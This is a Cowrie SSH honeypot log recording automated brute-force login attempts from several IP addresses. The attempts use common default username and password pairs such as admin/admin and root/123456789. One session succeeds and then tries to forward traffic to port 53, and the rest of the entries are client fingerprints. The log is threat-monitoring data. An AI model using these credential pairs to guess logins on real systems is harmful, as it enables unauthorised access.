{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:27.438685Z","src_ip":"87.251.64.176","session":"9246ae06fb87","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:27.586555Z","session":"9246ae06fb87","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:27.705842Z","src_ip":"87.251.64.176","session":"9246ae06fb87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:27.860885Z","src_ip":"87.251.64.176","session":"9246ae06fb87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51076,"dst_ip":"159.203.135.109","dst_port":22,"session":"02d85cbd4d03","protocol":"ssh","message":"New connection: 83.168.110.85:51076 (159.203.135.109:22) [session: 02d85cbd4d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:33.901019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:34.061791Z","src_ip":"83.168.110.85","session":"02d85cbd4d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:34.097106Z","src_ip":"83.168.110.85","session":"02d85cbd4d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:34.622860Z","src_ip":"83.168.110.85","session":"02d85cbd4d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.159.237","src_port":57488,"dst_ip":"10.17.0.5","dst_port":22,"session":"470d6ff653ec","protocol":"ssh","message":"New connection: 119.96.159.237:57488 (10.17.0.5:22) [session: 470d6ff653ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:34.823859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:34.829556Z","src_ip":"119.96.159.237","session":"470d6ff653ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:35.057191Z","src_ip":"119.96.159.237","session":"470d6ff653ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:35.748452Z","src_ip":"83.168.110.85","session":"02d85cbd4d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luna1234","message":"login attempt [root/luna1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:36.003977Z","src_ip":"119.96.159.237","session":"470d6ff653ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:37.234984Z","src_ip":"119.96.159.237","session":"470d6ff653ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40108,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa49fa199ea6","protocol":"ssh","message":"New connection: 83.168.110.85:40108 (159.203.135.109:22) [session: aa49fa199ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:44.227998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:44.410616Z","src_ip":"83.168.110.85","session":"aa49fa199ea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:44.415298Z","src_ip":"83.168.110.85","session":"aa49fa199ea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:44.941140Z","src_ip":"83.168.110.85","session":"aa49fa199ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:46.065654Z","src_ip":"83.168.110.85","session":"aa49fa199ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54770,"dst_ip":"159.203.135.109","dst_port":22,"session":"491ae80e58d9","protocol":"ssh","message":"New connection: 83.168.110.85:54770 (159.203.135.109:22) [session: 491ae80e58d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:55.110806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:55.118690Z","src_ip":"83.168.110.85","session":"491ae80e58d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:55.240384Z","src_ip":"83.168.110.85","session":"491ae80e58d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:55.605640Z","src_ip":"83.168.110.85","session":"491ae80e58d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:56.786530Z","src_ip":"83.168.110.85","session":"491ae80e58d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"833dcd1a8f27","protocol":"ssh","message":"New connection: 83.168.110.85:58000 (159.203.135.109:22) [session: 833dcd1a8f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:05.521075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:05.525860Z","src_ip":"83.168.110.85","session":"833dcd1a8f27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:05.647614Z","src_ip":"83.168.110.85","session":"833dcd1a8f27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:06.018790Z","src_ip":"83.168.110.85","session":"833dcd1a8f27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:07.205910Z","src_ip":"83.168.110.85","session":"833dcd1a8f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40440,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec353e1c062a","protocol":"ssh","message":"New connection: 83.168.110.85:40440 (159.203.135.109:22) [session: ec353e1c062a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:15.709908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:15.715088Z","src_ip":"83.168.110.85","session":"ec353e1c062a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:15.836558Z","src_ip":"83.168.110.85","session":"ec353e1c062a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:16.200592Z","src_ip":"83.168.110.85","session":"ec353e1c062a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:17.325180Z","src_ip":"83.168.110.85","session":"ec353e1c062a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":50680,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9fb1a06aaf3","protocol":"ssh","message":"New connection: 89.108.118.91:50680 (10.17.0.5:22) [session: e9fb1a06aaf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:19.844931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:20.087950Z","src_ip":"89.108.118.91","session":"e9fb1a06aaf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:20.092299Z","src_ip":"89.108.118.91","session":"e9fb1a06aaf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789x","message":"login attempt [root/123456789x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:20.719486Z","src_ip":"89.108.118.91","session":"e9fb1a06aaf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:21.860599Z","src_ip":"89.108.118.91","session":"e9fb1a06aaf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37792,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fc8e02ea7d0","protocol":"ssh","message":"New connection: 83.168.110.85:37792 (159.203.135.109:22) [session: 0fc8e02ea7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:26.259971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:26.264814Z","src_ip":"83.168.110.85","session":"0fc8e02ea7d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:26.386039Z","src_ip":"83.168.110.85","session":"0fc8e02ea7d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:26.748471Z","src_ip":"83.168.110.85","session":"0fc8e02ea7d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:27.872578Z","src_ip":"83.168.110.85","session":"0fc8e02ea7d0","protocol":"ssh"}
